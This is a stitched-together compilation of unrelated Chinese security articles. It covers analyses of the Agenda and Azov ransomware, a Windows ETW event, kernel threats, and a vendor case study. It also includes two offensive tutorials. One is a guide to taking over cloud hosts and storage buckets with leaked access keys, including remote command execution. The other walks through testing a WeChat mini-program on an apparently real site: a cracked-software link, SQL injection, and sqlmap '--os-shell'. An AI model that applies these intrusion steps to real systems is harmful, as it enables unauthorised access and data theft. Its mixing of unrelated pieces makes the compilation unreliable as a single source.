HireHackking

今年，各種勒索軟件即服務組織相繼在Rust中開發了他們的勒索軟件版本，這其中就包括Agenda。 Agenda的Rust變體瞄準了一些重要行業。我們將在本文中介紹Rust變體的工作原理。今年，BlackCat、Hive和RansomExx等勒索軟件即服務（RaaS）組織開發了Rust版本的勒索軟件，Rust是一種跨平台語言，可以更容易地為Windows和Linux等不同的操作系統定制惡意軟件。在這篇文章中，我們介紹了另一個已經開始使用這種語言的勒索軟件組織Agenda(也稱為Qilin)。 根據我們在過去一個月的觀察，Agenda勒索軟件的活動包括在其洩露網站上發布許多公司的信息。攻擊者不僅聲稱他們能夠侵入這些公司的服務器，還威脅要公佈他們的文件。勒索軟件組織在其洩漏網站上發布的公司位於不同的國家，主要屬於製造業和IT行業，總收入超過5.5億美元。 最近，我們發現了一個用Rust語言編寫的Agenda勒索軟件樣本，檢測結果為Ransom.Win32.Agenda.THIAFBB。值得注意的是，同樣的勒索軟件最初是用Go語言編寫的，以針對泰國和印度尼西亞等國家的醫療和教育部門而聞名。攻擊者通過使用洩露的賬戶和唯一的公司ID等機密信息作為附加的文件擴展名，為目標受害者自定義了之前的勒索軟件二進製文件。 Rust變體還使用了間歇性加密，這是當今攻擊者用於更快加密和逃避檢測的新興策略之一。 VirusTotal中二進製文件的提交詳細信息，包括提交日期和上傳地區 BinText上顯示二進製文件使用的Rust模塊/函數的字符串 技術分析執行時，Rust二進製文件會提示以下錯誤，要求將密碼作為參數傳遞。這個命令行特性類似於用Golang編寫的Agenda勒索軟件二進製文件。 執行示例時的錯誤提示 在以“-password”作為參數並結合虛擬密碼“agenda apass”執行示例時，勒索軟件示例將從終止各種進程和服務開始運行其惡意例程。 終止應用程序和服務 針對我們分析的樣本，勒索軟件將擴展名“MmXReVIxLV”附加到加密文件中。它還在命令提示符上顯示活動日誌，包括已加密的文件和運行時間。 加密文件示例 加密文件中的日誌 然後，勒索軟件將繼續在其加密的每個目錄上釋放其勒索通知。正如其勒索說明中所觀察到的，用於執行勒索軟件的密碼也將用作登錄勒索軟件組支持聊天網站的密碼。 勒索通知 勒索軟件分析不同於Agenda的Golang變體，它接受10個參數，Rust變體只接受3個參數： Agenda勒索軟件Rust變體使用的參數 Rust變體在二進製文件中也包含硬編碼配置，就像以前在Golang中編譯的示例一樣。 包含配置的二進製文件內的函數 包含配置的字符串 它還在其配置中添加了-n、-p、fast、skip和step標誌，這些標誌在Golang變體配置中不存在，僅通過命令行參數使用。經過進一步分析，我們了解到這些標誌用於間歇性加密。這種策略使勒索軟件能夠根據標誌的值對文件進行部分加密，從而更快地加密受害者的文件。這種策略在勒索軟件攻擊者中越來越流行，因為它可以讓他們更快地加密，並避免嚴重依賴於讀/寫文件操作的檢測。 用於間歇加密的標誌 用於間歇加密的標誌 Agenda勒索軟件Golang變體接受的命令行參數 我們試圖使用其配置中的一些標誌來模擬其加密行為。對於這個模擬，我們使用一個填充“a”作為內容的虛擬文件。 對於快速模式： 值：1 快速標誌設置為1 加密字節：1*0x200000h，其中1是快速標誌中設置的值 0x200000h字節加密 對於N-P模式： 標誌設置為n=1; p=1 總大小=88082336字節，加密的字節數=1 *0x200000,h，其中1是n標誌中設置的值，跳過的字節數=880818字節(整個文件的1%)，其中1是p標誌中設置的值。 加密字節的0x200000h 880818字節（相當於文件的1%）加密 除了用於不同加密模式的附加標誌之外，Rust變體還將AppInfo包括在要終止的服務列表中。它禁用了用戶帳戶控制（UAC），這是一項Windows功能，有助於防止惡意軟件以管理權限執行，從而導致無法以管理權限運行其他應用程序。 使用與service_CONTROL_stop等效的參數0x01停止服務的函數 用於使用等同於SERVICE_DISABLED的參數0x04禁用服務的函數 禁用AppInfo服務後，無法運行具有管理權限的應用程序 眾所周知，Agenda勒索軟件還可以為每個受害者部署自定義的勒索軟件，我們已經看到，它的Rust變體有一個分配的空間，用於在其配置中添加帳戶，主要用於權限升級。 在Agenda勒索軟件的Rust變體配置中分配的帳戶 要附加在加密文件上的文件擴展名在其配置中是硬編碼的。 要附加的文件擴展名 然而，與之前的Golang變體不同，攻擊者在Rust變體的配置中不包括受害者的憑據。後者的這一特性不僅可以阻止其他研究人員訪問勒索軟件的聊天支持網站，還可以在外部提供樣本時訪問攻擊者的對話。它還可以防止來自受害者之外的其他人的主動信息。 Agenda勒索軟件聊天支持網站 總結Agenda是一個新興的勒索軟件家族，最近一直針對醫療保健和教育行業等關鍵部門。目前，它的攻擊者似乎正在將他們的勒索軟件代碼遷移到Rust，因為最近的樣本仍然缺乏在用Golang變體編寫的原始二進製文件中看到的一些特徵。 Rust語言在攻擊者中越來越受歡迎，因為它更難分析，而且反病毒引擎的檢測率較低。

前言云平台作为降低企业资源成本的工具，在当今各大公司系统部署场景内已经成为不可或缺的重要组成部分，并且由于各类应用程序需要与其他内外部服务或程序进行通讯而大量使用凭证或密钥，因此在漏洞挖掘过程中经常会遇到一类漏洞：云主机秘钥泄露。此漏洞使攻击者接管云服务器的权限，对内部敏感信息查看或者删除等操作。此篇文章围绕如何发现秘钥泄露、拿到秘钥后如何利用展开。 0X01漏洞概述ak、sk拿到后的利用，阿里云、腾讯云云主机通过使用Access Key Id / Secret Access Key加密的方法来验证某个请求的发送者身份。Access Key Id（AK）用于标示用户，Secret Access Key（SK）是用户用于加密认证字符串和云厂商用来验证认证字符串的密钥，其中SK必须保密。 云主机接收到用户的请求后，系统将使用AK对应的相同的SK和同样的认证机制生成认证字符串，并与用户请求中包含的认证字符串进行比对。如果认证字符串相同，系统认为用户拥有指定的操作权限，并执行相关操作；如果认证字符串不同，系统将忽略该操作并返回错误码。 AK/SK原理使用对称加解密。 0x02秘钥泄露常见场景通过上面描述我们知道云主机密钥如果泄露就会导致云主机被控制，危害很大。 在漏洞挖掘过程中常见的泄露场景有以下几种： 1、报错页面或者debug信息调试。 2、GITHUB关键字、FOFA等。 3、网站的配置文件 4、js文件中泄露 5、源码泄露。APK、小程序反编译后全局搜索查询。 6、文件上传、下载的时候也有可能会有泄露，比如上传图片、上传文档等位置。 7、HeapDump文件。 0x03实战举例案例一：HeapDump文件中的ak\sk泄露HeapDump文件是JVM虚拟机运行时内存的一个快照，通常用于性能分析等，但是因为其保存了对象、类等相关的信息，如果被泄露也会造成信息泄露。 1、Spring Actuator heapdump文件造成的秘钥泄露。 扫描工具：https://github.com/F6JO/RouteVulScan 解压工具：https://github.com/wyzxxz/heapdump_tool 访问某一网站时进行测试发现存在spring未授权，此时查看是否有heapdump文件，下载解压，全局搜索可发现秘钥泄露。 2、通过暴破路径的方式获取。 在文件存储位置会有一些敏感文件泄露，比如请求下载云服务器上某文件时候抓包分析。可以在请求位置暴破文件名，云服务器会返回带有访问秘钥的敏感文件。 得到文件地址后访问下载，下载后用工具爬取内容。发现泄露ak\sk 工具链接：https://github.com/whwlsfb/JDumpSpider 案例二：Js文件泄露秘钥使用工具：trufflehog 访问某网站，使用插件trufflehog探测，会在Findings位置显示是否有密钥泄露。（网站采用异步加载也适用） 案例三：小程序上传等功能点泄露。某小程序打开后在个人中心头像位置 点击头像抓包： 可以看到accesskeyid\acesskeysecret泄露。 渗透测试过程中可以多关注上传图片、下载文件、查看图片等等位置，说不定就有ak\sk泄露。 案例四：配置信息中的ak\sk泄露常见的nacos后台配置列表，打开示例可以看到一些配置信息，可以看到有ak\sk泄露。 0x04漏洞利用1、ak\sk接管存储桶。使用工具或者云主机管理平台可以直接接管存储桶，接管桶后可以对桶内信息进行查看、上传、编辑、删除等操作。 OSS Browser--阿里云官方提供的OSS图形化管理工具 https://github.com/aliyun/oss-browser 可以看到登入存储桶后可以查看、上传、删除、下载桶内文件，造成存储桶接管的危害。 腾讯云云主机接管平台： https://cosbrowser.cloud.tencent.com/web/bucket 行云管家（支持多家云主机厂商）： 可以选不同厂商的云主机导入。 选择主机导入： 通过行云管家接管主机后，不仅可以访问OSS服务，还可以直接重置服务器密码，接管服务器。 可以对主机进行重启、暂停、修改主机信息等操作。 2、拿到ak\sk后可以尝试对主机进行命令执行。CF 云环境利用框架 https://github.com/teamssix/cf/releases 使用cf查看该主机可做的操作权限，可以看到能执行命令。 cf tencent cvm exec -c whoami等等。 详情参考：https://wiki.teamssix.com/CF/ECS/exec.html 针对阿里云主机rce 工具链接：https://github.com/mrknow001/aliyun-accesskey-Tools 输入ak\sk查询主机，选择主机名填入，查看云助手列表是true或者false，为true可执行命令。 转自原文链接： https://forum.butian.net/share/2376

客戶端Cameyo是一家總部位於美國的VAD 服務提供商，在全球開展業務。該公司的VAD 平台為客戶提供了從任何地方在任何設備上安全訪問關鍵業務應用程序的權限，而無需VPN。 挑戰我們的客戶想知道如何保護虛擬應用程序交付平台，並確保在引入新功能的同時高效及時地支持他們的產品。他們希望通過這種方式滿足現有客戶的需求並吸引新客戶。他們正在尋找一支由經驗豐富的開發人員組成的團隊，他們可以適應快速變化的優先級和項目目標，同時保持所交付功能的整體質量。 方法在分析項目並與客戶討論可能的改進後，Apriorit 團隊集中精力實現關鍵的五個目標： 如何提升產品價值 我們將這些技術任務分為兩類： 通過修復我們的質量保證(QA) 專家發現的錯誤以及解決平台最終用戶報告的錯誤和錯誤來支持現有功能 研究和實施新功能，以增加產品對現有用戶和潛在新用戶的價值 為了滿足客戶的需求並提高產品的可行性，我們組建了一個團隊，其中包括一名項目經理(PM)、一名QA 專家和對C/C++、Go 和遠程桌面協議(RDP) 有深入了解的Windows 軟件專家). VDA平台增強技術 結果Apriorit 團隊實施了多項功能，提高了Cameyo 的虛擬應用程序交付平台的安全性、性能和可用性。我們還引入了新的項目管理工具和方法來減少項目的管理開銷。此外，我們的專家對項目文檔進行了實時更新，確保更好地跟踪所有產品變更，並更容易實施進一步的產品改進。 如何做到的在我們多年的合作中，Apriorit 團隊執行了各種旨在幫助我們的客戶實現其目標的任務，從研究競爭對手和市場趨勢到構建新功能和測試VAD 平台的安全性。 以下是我們的團隊為Cameyo 平台實現的四個主要功能： VDA 平台的新功能 讓我們詳細了解這些功能中的每一個。 1.掃描儀重定向Apriorit 開發人員實現了掃描儀重定向功能，並將其添加到用.NET 編寫的本機Cameyo 客戶端中。此功能將真實的掃描儀轉發到用戶的RDP 會話，使在遠程服務器上運行應用程序的用戶能夠像使用本地設備一樣使用選定的掃描儀。 我們面臨的主要挑戰之一是解決Cameyo 客戶端的權利限制問題，因為它沒有安裝在最終用戶的系統中。為了克服這些限制，在Cameyo 本機客戶端中，我們構建了一個自定義掃描儀客戶端，負責使用掃描儀。該客戶端的工作流程如下所示： 1. 在端點方面，我們的自定義掃描儀客戶端連接到遠程端點，使最終用戶能夠使用遠程掃描儀。該客戶端可以執行諸如向用戶轉發可用掃描儀列表、確認活動掃描儀的選擇以及傳輸支持的操作模式等操作。 2. 在服務器端，我們實現了一個自定義的TWAIN兼容提供程序，它也充當我們自定義掃描儀客戶端的服務器。使用此提供程序，我們將掃描儀控制命令從RDP 用戶會話傳遞到掃描儀客戶端，並將掃描數據發送回用戶。 我們基於用C 編寫的開源解決方案構建了自定義TWAIN 提供程序，為原始解決方案添加了對會話隔離的支持。由於本機Cameyo 客戶端已經為客戶端-服務器通信提供了一個活動的RDP 會話，因此在TWAIN 提供程序中，我們使用了虛擬Windows 終端服務器(WTS) 通道。 我們還改進了自定義掃描儀客戶端中的數據緩存，以提高轉換掃描圖像的速度，並實施了一個額外的適配器進程，使客戶端與x86 應用程序兼容。 最後，由於本地客戶端和我們的掃描器客戶端是用不同的語言編寫的，我們需要實現一個跨語言的RPC。為此，我們使用了Apache Thrift並創建了一個使用虛擬RDP 通道的附加傳輸層協議。 2.雲隧道為了實現與Cameyo 服務器的安全遠程連接，Apriorit 團隊實施了雲隧道功能。此功能用作將平台的最終用戶連接到Cameyo 服務器的雲節點，並提供一種安全的替代方法來設置用戶與服務器之間的直接連接。 開發此功能時，我們使用了兩種編程語言——Go 用於隧道服務，C 用於鱷梨醬修改。 由於Cameyo 的瀏覽器模塊使用Guacamole 來啟動瀏覽器會話，我們實現了將Guacamole 服務器轉變為客戶端的邏輯。這使我們即使在啟用防火牆的情況下也能建立安全連接。傳統配置在這種情況下不起作用。 我們還實現了一個自定義隧道服務，充當兩個連接客戶端之間的中介。在此服務中，我們實現了兩個服務器： 在我們的RPD 應用程序和瀏覽器之間建立連接 執行握手以交換設置 由於此功能，用戶可以在本地服務器上安全地操作會話，而無需使用入站防火牆端口或VPN 解決方案。 3.GFX模式Cameyo 平台的Web 客戶端依賴於Guacamole 模塊。雖然此模塊可確保不同Web 瀏覽器和操作系統的平台可用性，但Cameyo Web 客戶端中使用的Guacamole 版本相當慢。當最終用戶使用動態圖形內容時，這會損害平台的性能。 為應對這一挑戰，Apriorit 團隊實施了GFX 模式，提高了Cameyo 網絡客戶端在圖形應用程序方面的性能。 在研究可能的解決方案和實施GFX 模式時，我們與Cameyo 的內部團隊密切合作。 Cameyo 希望他們的Web 客戶端能夠以至少每秒30 幀(FPS) 且沒有偽像的高質量準確顯示視頻內容，從而使最終用戶能夠舒適地使用現代視頻編輯應用程序。 為實現這一目標，我們希望利用支持高清屏幕傳輸編解碼器（如avc444 或avc420）的可用RDP 功能。然而，Guacamole 協議不允許我們獲得我們想要的結果。 在尋找可能的解決方案時，我們評估了幾個選項並最終確定了一個簡單但看似有效的想法——將編碼圖形數據流從FreeRDP 重定向到瀏覽器並在那裡解碼。 為此，我們需要擴展Guacamole 協議，使其能夠傳輸使用H.264 編解碼器編碼的內容。在瀏覽器端，我們決定使用WebCodecs——一個內置的Chrome API，允許對音頻和視頻數據進行編碼和解碼。 我們開始研究從FreeRDP 獲取數據的可能方法，並尋找CPU/GPU 負載盡可能低的編解碼器。在對不同的編解碼器進行了一系列實驗之後，我們選擇了libx264——一種基於CPU 的H.264 編碼器，它使我們能夠處理高清視頻數據，而無需花費太多CPU 時間。 4.漸進式網絡應用我們實施的另一個功能是適用於ChromeOS 的漸進式網絡應用(PWA) 解決方案。此功能允許ChromeOS 上的最終用戶將Cameyo 網絡應用程序下載到他們的設備，以便更輕鬆、更快速地啟動遠程應用程序。 為介紹此功能，我們編寫了一個JavaScript 腳本來解決兩個任務： 1. 實現通過打開桌面應用程序訪問門戶的機制 2.緩存內容，加快門戶網站訪問速度 因此，最終用戶可以方便地使用Cameyo 網絡應用程序，甚至不需要打開他們的網絡瀏覽器。 挑戰與解決方案在開展該項目時，Apriorit 團隊成功應對了多項挑戰： 明確目標——這個項目進行了大量的實驗和調整，因為客戶對如何改進他們的產品有很多想法。為確保開發過程易於規劃和評估，我們幫助客戶將這些想法轉化為清晰、可衡量的規範。特別是，我們與客戶舉行了回顧會議，在會上我們評估了我們的進展並闡明了正在開發的功能的目標。 項目文檔的持續維護——我們需要在開發新產品功能的同時編寫和更新大量技術文檔。通過遵循Apriorit 的內部標準程序，我們能夠使所有項目文檔保持最新狀態，從而更輕鬆地跟踪對產品所做的所有更改並保持最終結果的高質量。 複雜的支持程序——由於平台的高度可定制性，我們很難重新創建和修復在特定定制環境中檢測到的錯誤。為了提高我們支持服務的效率，我們設計了一份標準問卷，由Cameyo 專家在收到最終用戶的支持請求時填寫。該調查問卷使我們能夠組織調試所需的信息，並提高支持的速度和效率。 項目管理開銷——最初，Aprioit 團隊的所有任務都在Trello 中分配，這使得項目管理過程既耗時又不明確。為了解決這些問題，我們將所有與項目相關的活動都轉移到了Jira。在配置關鍵流程、構建透明路線圖並建立迭代項目工作流程之後，我們能夠使雙方的開發流程更加高效和可預測。

微軟最近的精力主要放在了Win11 22H2年度更新上了，正式版本預計要到明年9月底正式發布，現在已經大量推送。 近年來，微軟下大力緩解和修復特定的惡意軟件或漏洞，增加了大量的緩解措施，如零初始化池分配（zero-initialized pool allocation）、CET、XFG和最新的CastGuard，攻擊者利用漏洞變得越來越困難。最重要的是，通過ETW，特別是威脅情報ETW通道，可以提高對惡意軟件和利用技術的可見性。 在23H2預覽版本中，微軟推出了一個新的ETW事件，這次針對的是NT API，這些API可針對各種可疑行為。 Windows 事件跟踪(ETW) 提供了一種用於檢測用戶模式應用程序和內核模式驅動程序的機制。 Log Analytics 代理用於收集寫入到管理和操作ETW 通道的Windows 事件。 但是，有時需要捕獲和分析其他事件，例如寫入分析通道的事件。 系統調用使用可見性隨著這一新的變化，微軟將重點放在幾個系統調用上，這些調用通常不應該被許多應用程序使用，但可能會被漏洞利用，例如KASLR繞過、VM檢測或物理內存訪問。這個新事件所涉及的許多情況都已被限制為特權進程，有些需要為管理員或系統進程保留特權，有些則限制為低IL或不受信任的調用方。但是，試圖調用這些系統調用中的任何一個都可能表明存在可疑活動。 到目前為止，EDR檢測這類活動的唯一方法是將用戶模式掛鉤放置在洩漏內核指針的所有不同NtQuery函數中。但實踐證明，這並不理想。一段時間以來，微軟一直試圖讓EDR遠離用戶模式掛鉤，主要是通過添加ETW事件，允許EDR通過非侵入性方式使用相同的信息。 為了跟上這一趨勢，Windows 11 23H2向威脅情報頻道添加了一個新的ETW事件——THREATINT_PROCESS_SYSCALL_USEGE。生成此ETW事件是為了指示非管理員進程對API+信息類進行了API調用，該API調用可能會及時發現某些異常以及潛在的惡意活動。此事件將為兩個API中的信息類生成： NtQuerySystemInformation； NtSystemDebugControl；這些API有許多信息類，其中許多是“無害的”，並且通常被許多應用程序使用。為了避免發送不感興趣或無用的信息，以下信息類將生成ETW事件： 包含這些信息類的原因各不相同，有些會洩漏內核地址，有些可用於VM檢測，另一些用於硬件持久性，還有一些表示大多數應用程序不應具備的物理內存知識。總的來說，這一新事件包含了應用程序無法正常運行的各種指標。 每一種緩解措施都必須考慮潛在的性能影響，當在頻繁調用的代碼路徑中生成ETW事件時，可能會降低系統的速度。因此，有一些限制適用於此： 1.事件只會為用戶模式的非管理員調用者生成。由於Admin-內核不被認為是Windows上的邊界，因此許多緩解措施不應用於管理進程，以降低對系統的性能影響。 2.對於每個流程，每個信息類只生成一次事件。這意味著如果NtQuerySystemInformation被一個進程調用10次，並且都使用相同的信息類，那麼只會發送一個ETW事件。 3.只有在調用成功時才會發送事件，失敗的調用將被忽略，並且不會產生任何事件。 為了支持上述第2個限制並跟踪流程所涉及的信息類，EPROCESS結構中添加了一個新字段： 當一個流程第一次成功調用一個被監控的信息類時，將設置與該信息類對應的位，即使沒有為這些流程發送ETW事件，也會發生在管理流程上。 ETW事件僅在未設置位時發送，已確保每個類只發送一次事件。雖然沒有API來查詢這個EPROCESS字段，但它確實有一個很好的副作用，那就是留下每個進程使用哪些信息類的記錄——如果你分析一個系統，可以查看這些記錄，但前提是在系統中啟用了Syscall Usage事件，否則位不會被設置。 檢查數據目前還沒有啟用這個事件，也沒有人使用它，但我希望看到Windows Defender很快開始使用它，希望其他EDR也能使用。我手動啟用了這個事件，以查看這些“可疑的”API是否在常規設備上被使用，使用我的I/O環漏洞作為完整性測試，因為我知道它使用NtQuerySystemInformation洩漏內核指針。以下是正常執行幾分鐘後的一些結果： 顯然，有一些信息類在設備上使用非常頻繁，到目前為止主要的是SystemFirmwareTableInformation。這些常見的類可能會在早期被EDR忽略，因此更容易被濫用。 總結這是否意味著不再有基於API的KASLR繞過，或者所有現有漏洞都會立即被檢測到？當然不會。 EDR需要一段時間才能開始註冊和使用這些事件，特別是因為23H2將在明年秋天的某個時候正式發布，而大多數安全產品可能還需要一兩年的時間才能意識到這一事件的存在。由於此事件被發送到只有PPL才能註冊的威脅情報頻道，因此許多產品根本無法訪問此事件或其他與攻擊相關的事件。此事件將使EDR能夠獲取惡意進程進行的一些額外調用的信息，但這只是攻擊的其中一步，如果安全產品過於依賴它，無疑會導致許多誤報。無論如何，這一事件只涉及一些已知的指標，而其他許多指標則被忽略。

网上大多数的小程序测试抓包都是用的安卓模拟器，这里使用的是BurpSuite+Proxifer+微信客户端的抓包方式 环境准备 Burp2023.9.2 Proxifier4.5 Proxifier是一款功能非常强大的socks5客户端，可以让不支持通过代理服务器，工作的网络程序能通过HTTPS或socks或代理链。其是收费软件，免费试用31天，这里给一个破解版链接 链接：https://pan.baidu.com/s/14QElyGxDpMBGTuCFTPl4tQ?pwd=7o50 提取码：7o50 安装就无脑next就好了，安装好后打开 点击注册，名字随便写，随便复制一个注册码点击ok即可 Proxifier配置 打开proxifier，点击profile添加一个代理服务器 地址127.0.0.1，端口自定义，我这里是8888，协议选择https 继续添加一条代理规则 在我们用微信打开小程序时，进程里会多出一个WeChatAppEx 这个程序就是微信小程序的进程 添加规则 Applications就选择小程序进程应用（这里可以手动输入），Action就选择刚刚新建的代理服务器 Burp配置 只要编辑代理监听器和proxifier里的代理服务器一样即可，监听127.0.0.1:8888 这时微信打开一个小程序，可以看到WeChatAppEx的流量先经过proxifier，再用过127.0.0.1:8888到burp 现在就可以像平时测试web站点一样的方式在burp里对数据包进行测试 小程序反编译 在微信的设置里面可以找到微信文件保存的位置 目录下的Applet就是小程序缓存文件的保存地址 平时使用的小程序越多，对应的文件也就越多，如果找不到自己想要测试的小程序包，可以根据修改日期来找，或者直接简单粗暴，删除所有的缓存文件，再重新打开你想要测试的小程序 这时里面的就是我们要测试小程序对应的缓存文件夹 点开里面就是我们要解的包 这是一个加密的包，当用户在微信中搜索或扫描小程序二维码后，微信后台会将该小程序的相关信息打包成 .wxapkg 文件并下发到用户的设备中，这种文件格式实际上是一个压缩包，其中包含了小程序的所有代码、资源和配置文件等内容，以及一个特定的描述文件 app.json。 由于是加密的包，所以先来解密，下面是大佬的解密工具链接 链接：https://pan.baidu.com/s/1BzfvBVwD4vLpakX9PAyrsg?pwd=qz3z 提取码：qz3z 选中加密的包 解密成功后在工具目录的wxpack目录下 接下来进行反编译 首先安装nodejs，下载链接https://nodejs.org/zh-cn/download/ ，安装就一直下一步就好了，安装好之后添加环境变量 加好环境变量后cmd输入命令会得到回显 接下来使用反编译工具wxappUnpacker 原链接https://github.com/system-cpu/wxappUnpacker 网盘链接：https://pan.baidu.com/s/19O2KDqWn2Zyars8AREJ1LQ?pwd=22qj 提取码：22qj 来到工具目录 安装 安装依赖 npm install esprima npm install css-tree npm install cssbeautify npm install vm2 npm install uglify-es npm install js-beautify 逐条执行以上命令 逐条执行以上命令 接下来反编译 执行命令 node wuWxapkg.js 解密后小程序的路径 执行完后会在被反编译的包的目录下生成一个目录 里面就是反编译过后得到的文件了 下载微信开发者工具 官网下载链接 https://servicewechat.com/wxa-dev-logic/download_redirect?type=win32_x64&from=mpwiki&download_version=1062308310&version_type=1 安装好后打开 点击加号 目录选择反编译后的目录，后端服务选择不使用云服务，点击确定 就可以查看小程序的js代码了 测试 点击发送验证码的功能 是/api/shop/ipad/login/sms路径 在代码里面找到发送功能的代码 发现只有/login/sms 现在基本确认了路径访问规则，将接口拼接到/api/shop/ipad之后，找其他接口拼接尝试有没有未授权 找一个首页的路径拼接 直接发包返回404 拼接/api/shop/ipad之后发包 可以确定路径是对了，但是不存在未授权，这一个路径不存在，并不完全代表所有接口都不存在，也许有那么几个接口漏掉了没做鉴权，就会造成未授权，信息泄露之类的 一不小心getshell 继续看刚刚发送验证码的接口，看看有没有短信轰炸之类的 访问/login/sms接口，并且以post方式接收mobile参数 构造包 输入一个不存在的手机号，显示手机号码有误 输入一个真实的也提示有误，有可能只有系统存在的账户手机号才有效 看到参数习惯性打个单引号 哦豁，再加个单引号 哦豁+1 看返回数据包可以判断出用的.net，个人觉得这个框架是很多注入的，尝试手注没有回显，sqlmap一把梭，https加上--force-ssl参数 成功跑出SQL注入，而且是堆叠注入，尝试--os-shell 转自于原文链接：https://forum.butian.net/share/2477

我們將在本文討論攻擊者在其攻擊中是否選擇內核級訪問的原因。 Windows內核威脅長期以來一直受到攻擊者的青睞，因為它可以讓攻擊者獲得高特權訪問和檢測規避能力。時至今日，這些難以消除的威脅仍然是惡意活動攻擊鏈的關鍵組成部分。事實上，SentinelOne最近發現攻擊者濫用Microsoft簽名的驅動程序，對電信、業務流程外包（BPO）、託管安全服務提供商（MSSP）和金融服務行業的組織進行有針對性的攻擊。本月，SophosLabs還報告稱，他們發現了一個加密簽名的Windows驅動程序和一個可執行的加載器應用程序，該應用程序可以終止目標設備上的端點安全進程和服務。 我們將在2023年1月發布的研究論文“深入了解Windows內核威脅”中對值得關注的Windows內核威脅的狀態進行了更全面的分析。 追求內核級訪問的利弊對於攻擊者來說，不受限制地訪問內核是他們攻擊的最佳選擇。他們不僅能夠在內核級別執行惡意代碼，而且還能夠破壞受害者的安全防禦而不被發現。然而，需要注意的是，開發內核級rootkit和其他低級威脅也有其自身的缺點。 有利的一面：獲得對系統資源的高度特權訪問； 隱藏設備上的惡意活動，使檢測和響應活動更加困難； 保護惡意工件免受正常系統過濾過程的影響； 執行可以長時間繞過檢測的隱形操作； 從第三方防病毒產品獲得繼承的信任； 篡改多用戶模式應用程序所依賴的核心服務數據流； 篡改阻礙惡意活動的第三方安全產品； 實現非常低的檢測率，目前大多數現代rootkit在很長一段時間內都沒有被發現。 不利的一面：開發這些威脅可能代價高昂； 與其他用戶模式應用程序惡意軟件類型相比，開發和實現內核rootkit更加困難，這並不能使它們成為大多數攻擊的理想威脅； 內核rootkit的開發需要高素質的內核模式開發人員，他們了解目標操作系統的內部組件，並在逆向工程系統組件方面具有足夠的能力。 由於內核rootkit對錯誤更敏感，如果內核模塊中的代碼錯誤導致系統崩潰並觸發藍屏死亡（BSOD），它們可能會暴露整個操作。 如果受害者的安全機制已經失效或可以通過更簡單的技術消除，那麼引入內核模式組件將使攻擊變得複雜，而不是支持攻擊。 內核威脅有多普遍？我們分析了完全依賴內核驅動程序組件或在其攻擊鏈中至少有一個模塊在內核空間中執行的各種威脅。 在我們的研究中，我們根據可觀察到的技術將內核級威脅分為三個集群： 集群1：繞過內核模式代碼簽名（KMCS）策略的威脅； 集群2：使用合法的創建自己的驅動程序技術符合KMCS的威脅； 集群3：轉移到較低抽象層的威脅； 根據我們的觀察，過去七年中公開報導的值得關注的威脅和其他重大事件的數量從2018年開始呈現穩步上升的趨勢。 2015年4月至2022年10月包含內核級威脅的公共情報報告數量 目前，影響Windows內核的最大數量的內核威脅仍然屬於第一個集群。在Windows 10引入的新的基於管理程序的防禦解決方案的採用率提高之前，該集群中的威脅數量預計會增加。隨著採用率的增長，預計首批集群威脅的數量將大幅減少。 2015年4月至2022年10月，三個集群的內核級威脅分佈情況 然而，數據顯示，在過去三年中，屬於第二和第三集群的威脅數量一直在增加。 2015年4月至2022年10月按集群分類的內核級威脅 由於開發成本較高，第二集群威脅不太常見。儘管在過去五年中，第二個集群威脅的數量有所增加，但由於Windows 10和11中的KMCS策略，預計會減少並最終停止。同時，屬於第三個集群的威脅是最不常見的，因為它們的複雜性。我們認為，隨著攻擊者將其最初的感染點提前轉移到逃避現代安全機制的過程中，第三集群威脅將在未來幾年緩慢增加。 我們還根據這些威脅的具體用例對其進行了分類。 2015年4月至2022年10月使用內核級惡意軟件的威脅類型 根據我們的分析，APT間諜惡意軟件在攻擊中使用的內核級組件最多。 APT組織以擁有資源在攻擊中使用隱秘組件(如內核rootkit和較低級別的植入)而聞名。 勒索軟件和加密貨幣挖礦威脅也在其攻擊中使用了大量內核級組件，這很可能避免被安全產品檢測到，因為它們會是否惡意有效負載並從受害者設備上竊取資源。 總結根據我們對內核級威脅數據的分析，高級和成熟的惡意行為者仍然並將繼續尋求對Windows操作系統的高權限訪問，以確保他們的攻擊被成功部署。由於端點保護平台(EPP)和端點檢測和響應(EDR)技術的有效性，攻擊者將遵循阻力最小的路徑，並讓他們的惡意代碼從內核或更低的級別運行。這就是為什麼，儘管屬於這三個集群的一些內核級威脅顯著減少，但我們相信低級別的威脅在未來不會完全過時。 另外，請關注我們將於2023年1月發布的研究文章《深入了解Windows内核威胁》 中對Windows內核威脅的全面分析。

Check Point Research（CPR）對臭名昭著的Azov勒索軟件進行了分析，分析表明，Azov能夠修改某些64位可執行文件以執行自己的代碼。在過去的幾周里，CPR在其社交媒體以及Bleeping Computer上分享了對Azov勒索軟件的初步調查結果。接下來，我們將介紹Azov勒索軟件的內部工作原理及其技術特點。 主要發現Azov最初是作為SmokeLoader殭屍網絡的有效負載而引起注意的，該殭屍網絡通常存在於假冒盜版軟件和破解網站中。 Azov與普通勒索軟件不同的是它對某些64位可執行文件的修改以執行自己的代碼。在現代互聯網出現之前，這種行為曾經是惡意軟件氾濫的必經之路。可執行文件的修改是使用多態代碼來完成的，這樣就不會被靜態簽名潛在地破壞，並且也適用於64位可執行文件。 這種對受害者可執行文件的攻擊性多態感染導致了大量感染Azov的公開可用文件。每天都有數百個與Azov相關的新樣本提交給VirusTotal，截至2022年11月，該樣本已超過17000個。使用手工製作的查詢，可以只搜索正確的Azov樣本，而不使用木馬化的二進製文件。 VirusTotal查詢以搜索與Azov相關的樣本： VirusTotal查詢——Azov相關樣本 VirusTotal查詢僅搜索正確的Azov樣本，而不搜索木馬化二進製文件： VirusTotal查詢——僅原始Azov樣本 豐富的樣本使我們能夠區分Azov的兩個不同版本，一個更老，一個稍新。這兩個版本共享它們的大部分功能，但較新版本使用了不同的勒索通知，以及銷毀文件的不同文件擴展名（.azov）。 新版本的Azov的贖金通知 舊版本的Azov的贖金通知 技術分析使用FASM在程序集中手動製作； 使用反分析和代碼混淆技術； 原始數據內容的多線程間歇性覆蓋（循環666字節）； 在受損系統中後門64位“.exe”文件的多態方式； “邏輯炸彈”設定在特定時間引爆。下面分析的樣本被設置為在UTC時間2022年10月27日上午10:14:30引爆； 沒有網絡活動，沒有數據洩露； 利用SmokeLoader殭屍網絡和木馬程序進行傳播； 有效、快速且不幸無法恢復的數據清除器； 研究人員專注於新Azov版本的原始樣本（SHA256:650f0d694c0928d88aeeed649cf629fc8a7bec604563bca716b1688227e0cc7e-如上所述，與舊版本相比，功能上沒有重大差異）。這是一個64位的可移植可執行文件，已用FASM（平面彙編程序）組裝，只有1段.code (r+x)，並且沒有任何導入。 